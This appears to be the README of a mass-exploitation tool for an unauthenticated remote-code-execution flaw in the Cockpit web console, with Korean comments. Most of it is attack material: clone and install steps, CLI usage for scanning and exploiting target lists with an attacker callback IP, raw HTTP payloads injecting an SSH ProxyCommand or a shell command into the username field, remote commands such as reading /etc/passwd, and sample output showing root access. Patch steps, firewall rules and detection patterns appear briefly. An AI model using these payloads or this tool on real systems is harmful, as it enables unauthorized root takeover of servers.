192.168.1.10
cockpit.example.com
https://manage.lab.local

# 스캔 + 익스플로잇을 한 번에, 기본 명령어 "id"
python3 exploit.py -f targets.txt --auto --callback-ip <공격자_IP>

# results.txt 출력 예시:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

# 취약점 스캔만 (익스플로잇 없음)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# 사용자 지정 명령어로 명시적 RCE
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <공격자_IP>

# 단일 대상
python3 exploit.py -t cockpit.example.com --auto --callback-ip <공격자_IP>

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# 버전 확인 (360 이상이어야 함)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

[WebService]
LoginTo = false

sudo systemctl restart cockpit

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

ssh -V   # OpenSSH_9.6 이상이어야 함

GET /cockpit+=-oProxyCommand=<URL_인코딩_페이로드>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <명령>; #:x")

# GitHub에서 클론
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# 의존성 설치
pip install -r requirements.txt

# 확인
python3 exploit.py --help

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]

CVE-2026-4631 Cockpit Mass Exploit — SSH 인자 삽입을 통한 인증되지 않은 RCE

선택적 인수:
  -h, --help            이 도움말 메시지를 표시하고 종료
  -t, --target          단일 대상 URL/호스트 (포트가 없으면 자동 추가)
  -f, --file            대상 목록이 포함된 파일 (한 줄에 하나)
  --default-port        대상에 포트가 없을 때 추가할 포트 (기본: 9090)
  -c, --cmd             실행할 명령어 (기본: --auto/RCE 모드에서 "id")
  --scan                취약점 스캔 모드 (RCE 없음, 엔드포인트만 프로브)
  --auto                스캔 + 익스플로잇을 한 번에, 기본 명령어 "id"
  --vector              익스플로잇 벡터: auto|proxycommand|username (기본: auto)
  -o, --output          결과 출력 파일 (기본: results.txt)
  --callback-ip         대상에서 접근 가능한 공격자 IP (콜백 리스너용)
  --listener-port       콜백 리스너 포트 (기본: 8888)
  --threads             동시 작업자 수 (기본: 10)
  --timeout             대상당 콜백 대기 시간(초) (기본: 10)
  --delay               요청 간 지연 시간(초) (기본: 0)
  --proxy               디버깅용 HTTP 프록시 (예: http://127.0.0.1:8080)
  --user-agent          사용자 지정 User-Agent 문자열
  -v, --verbose         상세 출력 (디버그)
  --no-color            색상 출력 비활성화

host              → http://host:9090
host:9090         → http://host:9090
https://host      → https://host:9090
192.168.1.10      → http://192.168.1.10:9090
[::1]             → http://[::1]:9090

# 포트가 없는 대상 → 자동 :9090, 기본 명령어 "id"
python3 exploit.py -f targets.txt --auto --callback-ip 10.10.10.10

# 명령어 재정의
python3 exploit.py -f targets.txt --auto -c "whoami" --callback-ip 10.10.10.10

# CVE-2026-4631 대량 익스플로잇 결과 — 2026-07-12 00:42
# 모드: auto
# 명령어: id
# 벡터: auto
example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
10.0.0.5:9090 [ uid=0(root) gid=0(root) groups=0(root) ]
host3.example.com:9090 [ VULN - 콜백 수신 없음 (OpenSSH >= 9.6?) ]
host4.example.com:9090 [ NOT VULN ]

python3 exploit.py -f targets.txt --scan -o scan_results.txt

target1.example.com:9090 [ VULN - Cockpit 로그인 흐름 활성화됨 (HTTP 401) ]
target2.example.com:9090 [ NOT VULN ]
target3.example.com:9090 [ UNREACHABLE (ConnectionError) ]

python3 exploit.py -t target -c "id" --callback-ip 10.10.10.10
# 동일: -t http://target:9090/

target:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

python3 exploit.py -f targets.txt -c "id" -o results.txt --callback-ip 10.10.10.10 --threads 20

# 벡터 1 ProxyCommand 강제
python3 exploit.py -f targets.txt -c "cat /etc/passwd" --vector proxycommand

# 벡터 2 사용자명 %r 강제
python3 exploit.py -f targets.txt -c "whoami" --vector username

python3 exploit.py -f targets.txt -c "id" \
  --callback-ip 10.10.10.10 \
  --listener-port 9999 \
  --threads 50 \
  --timeout 15 \
  --delay 0.2

python3 exploit.py -t http://target:9090/ -c "id" --proxy http://127.0.0.1:8080 -v

<호스트> [ <상태_또는_출력> ]

CVE-2026-4631-cockpit-RCE/
├── exploit.py                  # 진입점 CLI
├── requirements.txt            # 의존성
├── README.md                   # 이 문서
├── targets.txt                 # 대상 목록 예제
├── results.txt                 # 출력 (생성됨)
├── core/
│   ├── __init__.py
│   ├── target.py               # 대상 파서
│   ├── scanner.py              # 취약점 스캔 모드
│   ├── exploit.py              # 페이로드 생성기 + 전송기
│   ├── listener.py             # HTTP 콜백 서버
│   └── engine.py               # 오케스트레이터
├── utils/
│   ├── __init__.py
│   ├── banner.py               # ASCII 배너
│   └── result.py               # 결과 작성기
└── docs/
    ├── VULN_ANALYSIS.md        # 취약점 심층 분석
    ├── PATCH_ANALYSIS.md       # 패치 커밋 분석
    └── DETECTION.md            # 탐지 시그니처

GET /cockpit+=-o[A-Za-z]+=.*/login
GET /cockpit+=-[A-Za-z].*/login

journalctl -u cockpit-ws | grep -E "beiboot|ProxyCommand|-oProxy"
journalctl _COMM=ssh | grep -v "^--$"

dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian/Ubuntu
rpm -q cockpit-ws                            # RHEL/Fedora
# 취약: 327 <= 버전 <= 359